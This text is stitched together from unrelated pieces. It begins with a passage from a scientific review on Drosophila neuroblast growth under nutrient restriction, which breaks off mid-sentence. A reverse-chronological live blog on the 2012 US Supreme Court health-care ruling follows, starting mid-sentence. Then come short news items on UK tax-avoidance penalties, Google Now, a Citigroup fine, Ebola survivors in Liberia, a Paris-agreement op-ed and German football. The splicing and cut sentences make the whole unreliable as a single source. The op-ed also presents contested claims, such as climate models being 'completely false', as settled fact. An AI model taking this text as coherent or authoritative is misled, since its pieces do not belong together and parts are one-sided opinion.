Figure 2. Distinct mechanisms for promoting cell diversity during development imply distinct responses to nutrient deprivation. In the subsequent figures, large circles represent neuroblasts and small circles, their differentiated progeny. Diamond shapes represent mitotic spindles of actively dividing progenitors. The various colors in differentiated progeny depict different neuronal identities in the lineage. (A) Two modes of temporal patterning have been described in Drosophila. In most lineages, progenitor intrinsic transcriptional programs regulate the sequential expression of “temporal” transcription factors (A, B, C) that specify distinct neuronal identities in the successive neuroblast progeny. Mutations in temporal transcription factors block the sequential expression of late factors and lead to neuroblasts that continuously generate progeny of the corresponding identity. On the other hand, in other lineages such as in the mushroom bodies, the transitions between neuronal identities are triggered by external signals. When signals are delayed, transitions to subsequent neuronal identities are also delayed. (B) In most organs, cell diversity mainly relies on the spatial specification of progenitors by gradients of morphogens. Initial spatial identity is transmitted to progeny generated throughout development. Precocious cell cycle arrest in the face of NR will not affect cellular diversity in the tissue. (C) In the nervous system, temporal patterning ensures that neural progenitors generate different types of neurons as they progress through successive rounds of asymmetric divisions. Precocious cell cycle arrest in the face of NR may perturb the production of progeny with late identities and, consequently, to reduce neuronal diversity in the lineage. This suggests that tissues subjected to temporal patterning are likely to be protected against NR.
However, temporal patterning implies that neuroblasts have to undergo a pre-determined number of asymmetric divisions in order to generate their full repertoire of neuronal/glial fates (neuroblast intrinsic mechanism) or to sustain asymmetric divisions for relatively long developmental periods during which various external cues are produced. In all cases, it can be predicted that protection mechanisms are present to prevent precocious exhaustion of neuroblasts asymmetric divisions in response to insufficient nutrient supply, and ensure that all fates are produced in a given lineage (Figure 2C). Therefore, there are specific constraints imposed by temporal specification and the necessity to multiply cell diversity in the CNS. In the following paragraphs, we will describe recently uncovered examples of sparing strategies that aim at protecting neuroblast asymmetric divisions in the developing Drosophila CNS. Surprisingly, these studies have also revealed striking examples of plasticity, reporting regions of the brain that adapt their neuronal content to nutritional conditions.
Mechanisms Protecting Neural Stem Cell Lineages during Development
Two recent studies have revealed distinct protection mechanisms that allow neuroblasts to sustain their growth and mitotic activity during food deprivation.
Insulin-Independent Maintenance of Neuroblast Growth and Proliferation by the Alk Tyrosine Kinase
During periods of starvation, systemic Insulin Growth Factors (IGFs), named Ilps in Drosophila (for Insulin-like peptides), decrease to low levels inducing global organismal growth arrest (Ikeya et al., 2002; Andersen et al., 2013). The discovery that the CNS of late larvae continues growing in such conditions suggested that brain-specific growth mechanisms could bypass the requirements of the Insulin Receptor (InR) pathway. Indeed, it was found that the constant activity in neuroblasts of Anaplastic lymphoma kinase (Alk), a tyrosine kinase like InR, could turn on downstream targets of the InR pathway in the absence of Ilps. This is made possible by the sustained production in the glial niche surrounding the neuroblast of Jelly-Belly, the Alk ligand, independently of dietary conditions (Figure 3A). Remarkably, Alk activation also suppresses the growth requirements for cellular amino-acid sensing by the Tor kinase and appears to regulate downstream effectors such as S6K and 4E-BP that control biomass synthesis (Figure 3B). Thus, in the CB and VNC of late larvae, activation of the biosynthetic pathways by ALK signaling ensures the continuous growth of neuroblast lineages regardless of nutritional conditions (Cheng et al., 2011) (Figure 3B).
FIGURE 3
Figure 3. Protection of neuroblast growth and proliferation by ALK. (A) Alk tyrosine kinase protects growth and proliferation of neuroblasts in the absence of dietary nutrients after the critical weight. (B) Under nutrient restriction, the InR and amino-acid sensing pathways are not activated leading to growth arrest in most tissues. In neuroblasts, Alk is activated by its ligand Jelly-belly (Jeb) constantly produced by the niche. Subsequent constitutive activation of ALK can bypass the requirements for InR and the amino-acid sensing pathway leading to the activation of downstream effectors such as S6K and 4E-BP, that trigger biomass synthesis sustaining neuroblast mitotic activity and growth under NR.
Alk is a conserved protein known to be constitutively activated in some childhood neuroblastomas (Pugh et al., 2013), but its function during mammalian brain development has not been clearly investigated yet. A recent study in zebrafish indicates that Alk also plays a role during vertebrate neurogenesis. However, it is unknown whether the growth-sparing function is conserved (Yao et al., 2013). To date, stem or progenitor cells in other Drosophila tissues do not exhibit such growth protection, and instead critically require insulin and nutrient availability to be active (Shim et al., 2013).
Although neuroblast growth and activity is diet-insensitive during the last third of larval development thanks to ALK activity, this is not the case during early larval stages. Indeed, after embryonic development most neuroblasts (with the exception of mushroom body neuroblasts—see below) quit their quiescence state and resume dividing upon larval feeding, as the fat body senses the presence of amino-acids and sends signals that promotes Ilp production by the glial niche (Britton and Edgar, 1998; Chell and Brand, 2010; Sousa-Nunes et al., 2011). Thus, most neuroblasts in the VNC and CB switch during post-embryonic stages from a diet-sensitive to a diet-insensitive mode, but it is unclear exactly when and how Alk-mediated protection becomes operational.
Coordination of the Neurogenic Phase with Developmental Stages Possessing High Nutritional Reserves
We have recently shown that Alk-mediated growth boosting strategy may not operate in all parts of the CNS (Lanet et al., 2013). Indeed, in contrast to VNC and CB neuroblasts, those from the medulla of in the OLs decrease in size under food deprivation. However, medulla lineages are smaller than their VNC and CB counterparts (~20 cells vs. ~100 cells) and medulla NBs retain the ability to generate their entire lineage in the absence of dietary nutrients.
The diversity of neurons generated by each medulla neuroblast depends on an intrinsic temporal patterning system encoded by a well-described series of transcription factors, albeit distinct from the one described in embryonic neuroblasts of the VNC (Li et al., 2013b; Suzuki et al., 2013). We could show that medulla neuroblasts in larvae subjected to NR, remain able to transit through the different temporal identities and to generate the corresponding progeny. Although it remains possible that specific neuronal identities, so far unidentified, are skipped in the medulla lineages in response to NR, the fact that all known early and late fates are produced suggests protection of lineage composition to a large extent.
The sparing of medulla lineages may be favored by the timing of their production during development. We have indeed shown that medulla neuroblasts are only converted from the proliferating neuroepithelium once the larva has reached its “critical weight.” In insect, the critical weight is defined as the minimal mass from which the larva can terminate its development in due course without the need of further dietary nutrients. The critical weight triggers the production of a series of ecdysone pulses that progressively commit the larvae to metamorphosis. From this time, larvae confronted to NR rely on their large endogenous nutrient stores to complete their development (Figures 1B,C). We have found that ecdysone production after the critical weight promotes the neuroepithelium-to-neuroblast transition. Therefore, linking the production of neuroblasts in the medulla, and thus the initiation of neurogenesis, to the production of ecdysone, ensures that the larva possesses enough endogenous nutritional reserves to sustain and terminate its development independently of dietary variations. Consistently, neuroepithelial proliferation before the critical weight is highly sensitive to dietary conditions. In principle, this system allows medulla neuroblasts to always benefit from substantial endogenous nutritional reserves and to generate their entire lineage uninterrupted. Yet, the nature of the nutritional reserves involved, as well as the mechanisms promoting their mobilization and their preferential utilization by medulla neuroblasts, remains unclear.
Modulations of Neuronal Numbers in the Face of Nutrient Restriction
While sparing strategies ensures that neuroblasts sustain enough growth potential to generate their normal repertoire of progeny independently of nutritional conditions, recent studies have also revealed the surprising plasticity of some regions in their ability to increase or decrease their number of neurons in response to NR. Importantly, in all cases, the neuronal repertoire remains preserved.
Extrinsically-Regulated Temporal Patterning Allows Lineage Plasticity
Remarkably, a subset of CB neuroblasts, known as mushroom body neuroblasts, are able to extend part of their lineage when development is delayed upon specific food manipulation (low protein, high sugar diet) (Lin et al., 2013). This lineage plasticity |
campaign against health care reform and pledge to reverse it if he becomes president. But it is harder for him now. It would have been so much easier to mount attacks amid the wreckage of a negative supreme court decision. The Republicans had been looking to turn Thursday into a bleak day for the Obama administration, starting with the supreme court ruling in the morning and the contempt vote against Eric Holder in the House in the afternoon. The House will vote for contempt but its impact will be lost amid the euphoria in the White House over the supreme court ruling.
And the reaction is flooding in. Here's a statement from Speaker of the House John Boehner:
Today's ruling underscores the urgency of repealing this harmful law in its entirety. What Americans want is a common-sense, step-by-step approach to health care reform that will protect Americans' access to the care they need, from the doctor they choose, at a lower cost. Republicans stand ready to work with a president who will listen to the people and will not repeat the mistakes that gave our country Obamacare.
Not a gracious defeat, then.
Here's an explanation on the Medicaid expansion inside the Affordable Care Act, which is estimated to have provided health insurance to 16 million currently uninsured lower-income people.
Under the ACA, eligibility for Medicaid was to be widened:
The new law expands Medicaid to a national floor of 133% of poverty ($14,404 for an individual or about $29,326 for a family of four in 2009) to help reduce state-by-state variation in eligibility for Medicaid and also include non-Medicare eligible adults under age 65 without dependent children who are currently not eligible for the program. Children currently covered by CHIP between 100% and 133% of poverty would be transitioned to Medicaid coverage. These changes help to provide the base of seamless and affordable coverage nationwide through Medicaid for those with incomes up to 133% of poverty and then subsidies for coverage for individuals with incomes between 133% and 400% of poverty through state-based Health Benefit Exchanges. Individuals eligible for Medicaid would not be eligible for subsidies in the state exchange. For most Medicaid enrollees, income would be based on modified adjusted gross income without an assets test or resource test.
Under the supreme court decision, it appears, individual states can refuse to accept the Medicaid expansion.
The court's ruling on the Medicaid expansion makes today's decision somewhat reminiscent of the Arizona immigration ruling – the court has left a depth charge inside its decision.
The Medicaid expansion would have offered health insurance coverage to 16 million people. Now states apparently can make up their own minds whether or not to accept the expansion – and that means if Florida, Texas and other big states knock it back, then there will be millions of Americans who will miss out on the benefits of the healthcare reforms.
On the Medicaid expansion: the court has ruled that the government can only offer a carrot in terms of higher funding, but not the stick of taking away all of a state's Medicaid funding.
States have complained that the expansion costs them money, despite the extra funding they'll receive. Now they can turn down the expansion, which offers the expansion of coverage to mainly low income people without health insurance.
We'll need to see some analysis of the consequences of this decision, and which states may decide to snub their noses at the Medicaid expansion.
The history of the supreme court is that presidents make appointments and are often disappointed by their subsequent career. Has John Roberts joined the likes of Warren Burger and David Souter?
There's a big silver lining here for Obamacare opponents. Here's the majority opinion on the Medicaid expansion, as written by Roberts:
Nothing in our opinion precludes Congress from offering funds under the ACA to expand the availability of health care, and requiring that states accepting such funds comply with the conditions on their use. What Congress is not free to do is to penalize States that choose not to participate in that new program by taking away their existing Medicaid funding.
That means that states that refuse to accept the federal government's expansion of Medicaid can't be penalised by the government – the status quo remains.
That's actually a tricky decision, and it can be read as a defeat for the Obama administration. It puts the ball back in the court of the states that – for whatever reason – want to reject the Medicaid expansion, which is a key part of the reform's attempt to expand healthcare coverage.
This blows a hole inside the Affordable Care Act. Hold off popping those champagne corks.
In the detail: the supreme court appears to have also redefined the commerce clause and tightened its use. The clause's power has been trimmed by the court in recent decision, but this is another attempt to box it in further.
Here's the key quote to maintain the individual mandate as constitutional, from Roberts's opinion:
Our precedent demonstrates that Congress had the power to impose the exaction in Section 5000A under the taxing power, and that Section 5000A need not be read to do more than impose a tax. This is sufficient to sustain it.
That's clear, right? Me neither.
Once again, this is a long, complex and multi-layered decision by the supreme court, and the voting may have differed on different points – so take nothing for granted.
But it appears that John Roberts joined the liberal wing in upholding the healthcare law and individual mandate. This is significant in itself and news that will sink the US conservative movement into deep gloom.
Wow: it appears that the so-called swing vote on the court, Anthony Kennedy, actually joined Scalia, Alito and Thomas in voting against the law – and that Chief Justice Roberts voted to uphold.
Now there's a turn-up for the books.
Opinion seems to be that the Affordable Care Act has been upheld – but there's a lot of detail in there, so more as it comes.
So the individual mandate appears to have survived as constitutional, not under the commerce clause but as a tax, and that Chief Justice Roberts has joined the "liberal" wing of the court on the issue.
More important news: the Medicaid expansion is limited but not invalidated by the decision. The devil is in the details but if that's broadly the case that's another big win for the administration.
No news on votes or dissents yet.
As suggested earlier – this is a complex decision, so it's worth waiting to see how the whole decision reads.
It appears that the individual mandate may survive as a tax. More as we get it.
Hold on – while Roberts appears to have invalidated the individual mandate under the commerce clause, ScotusBlog is saying the mandate has survived as a tax. Let's wait and see how this plays out.
Here we go: Chief Justice John Roberts is reading the decision on healthcare law now – so that means he wrote the decision – and the mandate fails under the commerce clause.
More as we get it.
The court has published its first decision, but it's about something else involving the first amendment. Oh it's the Stolen Valor act – which bans people falsely claiming they have won military honours (surprisingly common in the US, for some reason).
Anyway, it's unconstitutional but Congress can redraft it. Apparently it's not illegal to lie. Thomas, Scalia and Alito all dissent.
While we are waiting, here's a nice photo of the supreme court justices.
They all have a great health insurance deal.
Five minutes to go. There's a tiny but non-negligible chance that the court will punt on the whole issue, thanks to the Anti-Injunction Act that holds that taxes cannot be challenged in court until they are first levied. Which hasn't happened yet. But it's not likely.
But if the court did, that would be really bad for everyone's health.
Fifteen minutes to go – and when the healthcare rulings come, it's likely to be a complex one with many layers and possibly multiple dissents – as the Arizona immigration ruling on Monday showed – so beware of over-caffinated responses declaring victory for one side or the other.
The fate of the individual mandate is only one aspect, although it's obviously the biggest one. Another, perhaps more far reaching in constitutional terms, is how the court redefines the commerce clause that the government is using to justify the mandate.
And then there's the so-called Medicare expansion issue, offering healthcare coverage to an additional 16 million people but from which some states are asking the court to allow them to opt out. That alone could be even more significant than a decision on the individual mandate.
In all the political excitement over today's ruling, let's not forget what's at stake: the nearly 50 million Americans without health insurance.
In the event of the supreme court upholding the Affordable Care Act, how will the Republicans react? After the apoplexy has faded, here's what Speaker of the House John Boehner said yesterday:
If the court does not strike down the entire law, the House will move to repeal what's left of it.
Here's a brief history of Barack Obama's conflicts with the supreme court, starting with Chief Justice John Roberts bungling the oath of office at Obama's inauguration, Samuel Alito mouthing criticism at Obama during the 2010 state of the union address, and so on.
Here's one supreme court prediction that is worth remembering, by two political scientists back in November last year, who tried to model the outcome:
As always, predictions are hard, especially about the future (see Berra v Bohr) and especially when it isn't clear which precedents apply or which legal doctrines are likely to dominate. Thus, any specific prediction must go beyond the model. That said, here is ours: 6-3 or 7-2 to uphold the law. Respect for precedent pushes Kennedy to support the law and Roberts comes along for the ride in order to keep the opinion out of Kennedy's hands (and possibly writing an opinion that cabins the Commerce Clause more than it is now). Alito probably goes with Roberts, but seems more up for grabs. If we are wrong, expect the justices to either downplay precedent and emphasize other legal values (such as federalism) or play up the few precedents that protect state rights.
We'll all find out in about 30 minutes.
The New York Times's Nate Silver says that no one really knows what the decision is gong to be today:
[S]tudies have found that predictions made by "expert" commentators on the Supreme Court do barely any better than a coin flip and are beaten by the statistical methods (a finding that follows the poor overall track record of experts in making predictions under many other circumstances). These experts are irrationally confident about their ability to read the tea leaves, and their predictions suffer for it.
That makes me feel better that I have absolutely no clue what the result will be.
Of course you can follow all the healthcare decision news here but if you are a hard-core junkie then you can mainline the supreme court decision on ScotusBlog.
Never one to miss an opportunity, the Obama for America campaign manager Jim Messina emails supporters:
Friend – We don't know what will happen this morning. But no matter what, today is an important day to have Barack Obama's back. If you're with him, donate now – before this week's critical fundraising deadline.
But don't worry, the Romney campaign will be spitting out fundraising emails soon enough.
Right: an hour to go until the supreme court hands down its decision. It's a great day to bury bad news, as someone once said.
Bad news such as...
Losses on JP Morgan Chase's bungled trade could total as much as $9 billion, far exceeding earlier public estimates, according to people who have been briefed on the situation. When Jamie Dimon, the bank's chief executive, announced in May that the bank had lost $2 billion in a bet on credit derivatives, he estimated that losses could double within the next few quarters. But the red ink has been mounting in recent weeks, as the bank has been unwinding its positions, according to interviews with current and former traders and executives at the bank who asked not to be named because of investigations into the bank.
Well, well, fancy that.
So how is the White House preparing for the range of outcomes this morning? Three different speeches for President Obama, according to the Wall Street Journal:
The president has three separate speeches prepared in anticipation of the ruling on his signature legislative achievement, a person familiar with them said. One of the speeches addresses a complete overturn of the law, while another is crafted as if the court strikes down the law's individual mandate but upholds other provisions. The third speech, for if the court upholds the entire law, is more celebratory, according to this person. No matter the ruling, the White House is expected to continue highlighting provisions of the legislation that are more popular than the overall law, such as the requirements that insurance companies cover people with pre-existing conditions or allow parents to keep their children on their plans until they are 26 years old. It's unclear when Mr Obama will comment on the decision. It's not on his public schedule. He is scheduled to be in the Oval Office receiving the daily presidential intelligence briefing at 10am, around when the decision is expected to be announced.
The US supreme court will today announce its decision on the Affordable Care Act, 828 days after the Obama administration's package of healthcare reforms passed into law.
In the court's most controversial decision since Bush versus Gore decided the 2000 presidential election, the focus is foremost on the constitutionality of the individual mandate, the provision requiring Americans to have health insurance and the main bone of contention of those who oppose the law as an unwarranted extension of the federal government's powers.
The court's decision will be handed down shortly after 10am in Washington DC – and with no leaks or hints surrounding the decision, even experienced court watchers confess uncertainty over how the nine supreme court justices will decide the challenge to the law brought by several states.
We will be live blogging the ruling, its implications and the seismic reactions that are sure to follow, no matter what the result – with the effects rippling beyond today's announcement to the presidential election to be held on 6 November.
Republican challenger Mitt Romney has pledged to abolish the healthcare reforms if the supreme court fails to do so, while the White House is said to be ready with a back-up plan, involving a series of executive orders, if the healthcare law is overturned.
Background briefing:
• A beginner's guide to the healthcare ruling, by Lyle Denniston of ScotusBlog, the foremost source of supreme court intelligence
• The Associated Press has an excellent Q&A about the possible outcomes from today's decision and their implications
• The New York Times has an interactive graphic to explain the ruling and its consequences
• Politifact.com's top five falsehoods about the healthcare law – including Sarah Palin's "death panel" claim that earned her a "pants on fire" rating
• Follow audio excerpts and the supreme court's transcript from important points in March's hearing
• Read the Guardian's full coverage of the US healthcare debateImage copyright Matt Cardy, Getty Images
Accountants or advisers who help people bend the rules to gain a tax advantage never intended face tougher fines under new penalties proposed by the Treasury.
A fine of up to 100% of the tax that was avoided - including via off-shore havens - has been suggested in the new rules, published for consultation.
Currently those who advise on tax face little risk, while their clients face penalties only if they lose in court.
The rules would "root out" tax avoidance at source, the Treasury said.
The rules in the consultation document also make it simpler to enforce penalties when avoidance schemes are defeated.
"These tough new sanctions will make would-be enablers think twice and in turn reduce the number of schemes on the market," said the Financial Secretary to the Treasury, Jane Ellison.
Analysis: Simon Gompertz, BBC personal finance correspondent
Until now HM Revenue and Customs has concentrated on tackling the individuals who don't pay their tax, while advisers and promoters of tax avoiding schemes have remained shadowy figures in the background.
The intention is that will stop once there is a penalty for the professionals involved of up to 100% of the amount avoided in a scheme.
The government isn't targeting legitimate ways of cutting tax bills, such as tax breaks for putting money in pensions or Individual Savings Accounts.
The avoidance it's trying to root out involves bending the rules to gain a tax advantage that Parliament never intended, an abuse which costs nearly £3bn a year.
Accountants see the move as a significant change, which could result in them paying fines even if the advice they give isn't illegal.
'Duty to pay'
The new rules come after the government set up a new task force to investigate allegations of tax-dodging and money laundering in light of the Panama Papers leak, which lifted the lid on how the rich and powerful use tax havens to hide their wealth.
Following the Panama Papers scandal the five largest economies in the European Union, the UK, Germany, France, Italy and Spain, agreed to share information on secret owners of businesses and trusts.
The Treasury said the move would make it harder for businesses and wealthy individuals to operate without paying correct taxes.
And speaking in July, new Prime Minister Theresa May pledged to crack down on tax avoidance, saying "tax is the price we pay for living in a civilised society".
"It doesn't matter to me whether you're Amazon, Google or Starbucks, you have a duty to put something back, you have a debt to fellow citizens and you have a responsibility to pay your taxes," she said at the time.
However, earlier this month the All-Party Parliamentary Group on Responsible Tax accused the government of undermining efforts to end tax secrecy and said it should force multinational companies such as Google to publish information on their activities in every country where they operate.
'Jumping for joy'
Richard Murphy, a chartered accountant and academic at City University, told the BBC it was unlikely that cases would come to court, but that the threat of fines would act as an "amazing deterrent" to advisers which would prevent them offering advice on tax avoidance.
He said this was partly because it could put at risk their ability to get professional indemnity insurance, which they need to continue their work.
"Lawyers and accountants will not take the risk of selling these schemes," he said. "There's a risk of a 100% fine so they'll think they can't afford to do it. Every honest accountant will be jumping for joy this morning that those who have been selling these schemes will be put out of practice."
He said that the tax system loses around £10bn per year as a result of tax avoidance, well above the £3bn a year the Treasury says is lost.Note: By submitting this form, you agree to Third Door Media's terms. We respect your privacy.
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Engadget reports Google has quietly rolled out several enhancements to Google search app for Android, bolstering Google Now features on the Nexus 5 and some other devices.
Here are the changes that were labeled “bug fixes and performance improvements” in the Google Play store for the app.
The most noticeable change is that the Nexus 5 home screen has now been renamed the “Google Now Launcher.”
Select your TV providers and/or video on demand providers and Google Now will give you recommendations on what to watch.
Airbnb reservations also now display in Google Now.
Also the alarms and notifications for alarms have been simplified.
Here are additional screen shots from Engadget:Yesterday, Wall Street’s self-regulator, the Financial Industry Regulatory Authority (FINRA), charged Citigroup with cheating its customers out of fair prices on preferred stock trades — 22,000 times. Citigroup was fined a meager $1.85 million, ordered to pay $638,000 in restitution, allowed to neither deny or admit the charges, and sent on its merry way to loot the next unwary investor.
Why do we believe there will be more charges of malfeasance in Citigroup’s future? Because it is an unrepentant recidivist. Yesterday’s FINRA fine was the 408th fine that FINRA has levied against Citigroup Global Markets or its predecessor, Smith Barney, for trading violations, market manipulations or failure to supervise its traders or brokers.
And that’s just FINRA – the light-handed disciplinarian with industry ties. Citigroup has kept other Federal regulators, including the U.S. Justice Department, very busy as well.
It is now six years since Citigroup’s serial history of rogue conduct rendered it insolvent. Under the law, the U.S. government is not allowed to prop up insolvent banks with taxpayer money. But from 2007 to 2010, in the largest bank bailout in history, over $2.3 trillion was lavished on the serial recidivist Citigroup.Media playback is unsupported on your device Media caption Andrew Harding looks at the long-lasting damage done to families by Ebola
Siannie Beyan stood on the stage with the other Ebola survivors in Monrovia's City Hall, singing a short, joyful hymn, and trying to hold onto a smile.
As the crisis fades here in Liberia - no new confirmed infections for 10 days and counting - there is a tangible sense of relief.
A tiny country is beginning to shrug off months of isolation and economic paralysis.
Some are even trying out words like "opportunity" as they stand back to survey the impact of the crisis on what had previously been a fast-growing economy.
"It's a rude awakening," the deputy Finance Minister James Kollie told me. "Ebola is not singularly responsible, but it highlighted weaknesses and vulnerabilities in the economy.
"Everything brings with it an opportunity," he said.
Image caption Siannie (far right) with her neighbours. She has had to move several times in the last few months
But for 28-year-old Siannie - a mother of three - the future is, at best, uncertain.
"Ebola changed everything. Everything gone bad with me," she said after the city hall event.
She went on to explain the impact of the virus on her own life.
Feeling alone
Last year Siannie, who has never been to school, had been working as an informal trader in Monrovia, selling snacks and toothpaste from a wheelbarrow. She earned about $160 (£100) per month.
Together with her husband's income it was enough to feed the couple and their three children, 11-year-old Joseph, from a previous relationship, seven-year-old Josephine and two-year-old Comfort.
They could also afford to rent a small room and send the older children to school.
Then on 27 August Siannie was admitted to the ELWA 3 Ebola Treatment Unit in town, run by Medecins Sans Frontieres.
"I couldn't walk. I couldn't talk. I was dead and done," she said.
Image caption Joseph and Josephine have also seen their lives change dramatically since their mother contracted Ebola
Image copyright AP Image caption Schools have reopened, but Siannie's children have not returned to education
Image copyright Getty Images Image caption Trials of two experimental vaccines against Ebola have taken place in Liberia
But a month later, she was cured, and headed back to her family only to discover that her husband wanted nothing to do with her, or the children.
"He say he don't want me because I got Ebola. He don't want 'Ebola woman'. I just alone," said Siannie.
"No partner to help me. No family member. No friends. So it very worry me. It worry me how I will manage to bring the children up, to pay their school fees, to pay my rent."
Since December, Siannie has been working at the ELWA 3 centre, helping to counsel other patients.
"They say they coming to die, so we can tell them: 'You will not die, if I can live, then you can live.' I saved many lives here," said Siannie.
She's been earning $400 dollars a month. But the centre no longer has any patients and come next month, Siannie will be out of a job.
In hiding
One evening I went back to the small, dark room she's renting in Paynesville, outside Monrovia.
I want to be an engineer. But my mum got no money Joesph, aged 11
It's the third place she and her children have moved to since September. Four women sat in the courtyard preparing an evening meal, surrounded by young children.
"I move when people know I got Ebola and was sick. They tell me they don't want me in their house. I keep hiding myself," said Siannie quietly.
"I say [to the children]: 'Don't tell anybody that your mum got Ebola. When you tell them then we'll move'. So the children don't tell anybody up to now. I don't want to move again because I don't have the money," she explained.
She has lost her rental deposit twice.
We heard the sound of singing come from behind the house, and found a local evangelical Christian group finishing their weekly "healing prayer" session under some trees.
"We pray for Ebola to leave this country, but not that they bring Ebola patients to here. No. They [must not] bring them here," said one woman in the crowd.
"We don't accept Ebola patients because we're afraid; we don't even want to see them."
Siannie's youngest daughter, Comfort, is too young to understand what is going on.
But Joseph and Josephine are feeling the stress keenly, as they try to cope with the loss of their respective fathers in an atmosphere of secrecy.
Joseph's estranged father, Abu, died from Ebola in December.
Josephine has not spoken to her father, John, since he turned his back on the family in September.
Many schools in Liberia have now reopened. But neither child has been able to return, partly because they've been forced to keep moving homes and partly because of a lack of funds.
"I want to be an engineer. But my mum got no money," said Joseph, nodding his head with vigour and in sorrow, when I asked him if he missed school.President Trump addresses decision to pull U.S. out of Paris Climate Accord. (WH.gov Screenshot)
Last week, President Donald Trump announced his decision to withdraw the United States from the Paris climate agreement.
Not only Americans but people all over the world should celebrate.
President Trump’s decision took courage in the face of pressure from many world leaders to remain in the agreement.
But it’s the right decision. It’s right because, as former NASA scientist and leading climate alarmist Dr. James Hansen put it, the Paris agreement is “a fraud, really, a fake … just worthless words.”
Why would someone like Hansen say that?
Because even assuming climate alarmists are right and human emissions of carbon dioxide are driving dangerous global warming, full implementation of the Paris agreement throughout this century would be no help to the environment or to people. Instead, it would be harmful to both.
And as President Trump said today, the Paris agreement is predicted by its proponents to “reduce global temperature by no more than 2 tenths of a degree Celsius.” That reduction would cost $23 to $46 trillion per tenth of a degree Fahrenheit—an amount that will have no effect on the environment or human wellbeing.
It would trap billions in poverty for decades to come. Since a clean, healthful, beautiful environment is a costly good, this means prolonging environmental damage and delaying environmental improvement.
And that’s assuming the alarmist predictions are accurate. Real life observations have proven the models, the only basis for those alarmist predictions, to be completely false. So not only is it all pain and no gain, it’s all pain and no gain for no reason.
We are grateful to President Donald J. Trump for his thoughtful exploration of the issues, his courageous leadership against great pressure, and his willingness to stand up for the American people.
But it is important to note that withdrawing from the Paris agreement, and opposing other environmental alarmist policies, is not just good for Americans, it is good for the citizens of all countries—especially the poor.
E. Calvin Beisner, Ph.D., is Founder and National Spokesman of The Cornwall Alliance for the Stewardship of Creation and a scholar on the application of Biblical worldview, theology, and ethics to economics, government, and public policy.
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Per Mertesacker believes German football’s greatest night can be traced back to when they thrashed England five years ago.
Six of the Germany team which humiliated Brazil on Tuesday graduated from the Under-21s that beat England 4-0 in the final of their 2009 Championship.
Manuel Neuer, Benedikt Hoewedes, Mats Hummels, Jerome Boateng, Sami Khedira and Mesut Ozil all started in Belo Horizonte, and have gone from being promising youngsters to writing their names into the World Cup record books.
Arsenal defender Mertesacker claims the 7-1 thrashing of Brazil - the biggest ever score in a World Cup semi-final and Brazil’s heaviest ever defeat - was the culmination of Germany’s recent progress.
Tellingly, James Milner was the only England player from the 2009 Under-21s campaign to make the Three Lions' World Cup squad five years on.
Mertesacker said: “The youth academies have been developing well in the last five or six years. It started off in 2009 when we won the Under-21 tournament and beat England 4-0. That was a real turning point and five or six players from that team are doing well here.
“There’s a small link between these two tournaments. That was five years ago. There could be a reason. But overall you have to create a team spirit, and with those magnificent players growing up together it makes it easier.
“If there are only 11 players who feel responsible to create the team, then you have no chance.
“I think we have one of the strongest squads I’ve ever played in. We have two excellent players for every position and our whole squad is very lively. Everyone is capable to play and as you could see all of the players who came on were magnificent and that can make the difference.
“There’s a good rivalry. But we’ve found the team spirit as well during the tournament and that makes the difference.”
Brazil 1-7 Germany photo gallery:
It was an unforgettable night for Germany - and an unforgivable one for Brazil.
The Germans gave the host nation, the purveyors of the beautiful game, a footballing lesson. But Mertesacker insists it will count for nothing unless they also win the final on Sunday.
Three-time winners Germany lost their last two World Cup semi-finals but Mertesacker believes this current squad can get even better and go on to win even more trophies.
The 29-year-old, a half-time substitute against Brazil, said: “It’s the best result of my career when you consider the importance of the game. We have created excellent team spirit during the tournament.
“Overall, we have a good balance. Everyone believes in each other and that’s the main reason behind this team.
“To knock out the favourites in the semi-final is always pretty good and it’s good for German football. But we must look forward to the final because that’s what really counts.
“We’d never have believed it, never ever. When you score five goals so early... even from the bench, it was crazy to watch.
“Everything went so fluently, we played through their lines, always found a player who was completely free in front of the goal. Great skills, greatpassing moves from ourselves. It was nice to watch.
“I feel sorry for Brazil. I experienced it when I played with Germany in 2006 and we got knocked out by Italy in the semi final.
“The expectations are big here in Brazil and to carry those is not easy. You could see that and we took advantage of it because there was a bit too much pressure on them and I feel sorry for everyone.”
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Germany U21s' starting XI vs England, 26 June 2009
By Joshua Raymond
Manuel Neuer Bayern Munich's No1 keeper - and arguably the best goalie in the world.
Andrea Beck Just missed out on final selection for the 23-man squad.
Benedikt Howedes Captain of Schalke. Played in the 7-1 destruction of Brazil.
Jerome Boateng Integral member of Bayern Munich’s defence. Started on Tuesday night.
Sebastian Boenisch Switched allegiances and now plays for Poland.
Mats Hummels Borussia Dortmund defender wanted by Manchester United. Scored against France in the quarter-finals and played on Tuesday
Fabian Johnson Another who switched country. Played for the United States at this World Cup.
Gonzalo Castro A regular in Bayer Leverkusen’s midfield, he has won five full caps but is no longer part of Germany squad.
Sami Khedira The Real Madrid midfielder was outstanding against Brazil.
Mesut Ozil Arsenal's record buy. Played on the left flank on Tuesday.
Sandro Wagner Hertha Berlin striker. Scored twice in that U21 Euros Final but has never played for the full Germany team.
And their Three Lions counterparts...
Scott Loach Goalkeeper for Championship side Rotherham.
Martin Cranie Defender now at League One side Barnsley.
Micah Richards Struggling for first team opportunities at Premier League champions Manchester City. Richards was the youngest defender ever to be called up to England seniors, has won 13 caps and was a member of the GB 2012 Olympics squad
Nedum Onuoha Versatile centre-back at Queens Park Rangers.
Kieran Gibbs Won FA Cup with Arsenal last season and has three full caps.
Lee Cattermole Sunderland midfielder has earned a fearsome reputation and a Premier League record seven red cards
Fabrice Muamba No longer a pro, following a cardiac arrest suffered on the pitch during an FA Cup tie which saw his heart stop beating for 78 minutes.
Mark Noble Longest serving member of the West Ham squad.
James Milner Only member of England's Class of 2009 to be part of Roy Hodgson’s squad in Brazil, although he only appeared in ‘dead’ match against Costa Rica.
Theo Walcott The Arsenal forward would have been in England’s 2014 squad but for injury.
Adam Johnson Earned a £7million move from Middlesbrough to Manchester City, who sold him for £10m to Sunderland. Has won 11 caps but is inconsistent.And there you have it.
The number one overall recruit for 2018 and the number one overall quarterback in 2018 just committed to Clemson. Trevor Lawrence is a generational talent. He is the best high school quarterback I have ever seen throw the ball. Yes, I know that is insanely high praise, but he has all the tools and intangibles to be a top NFL draft pick. Trevor is 6’5 and about 208 pounds from Cartersville, GA.
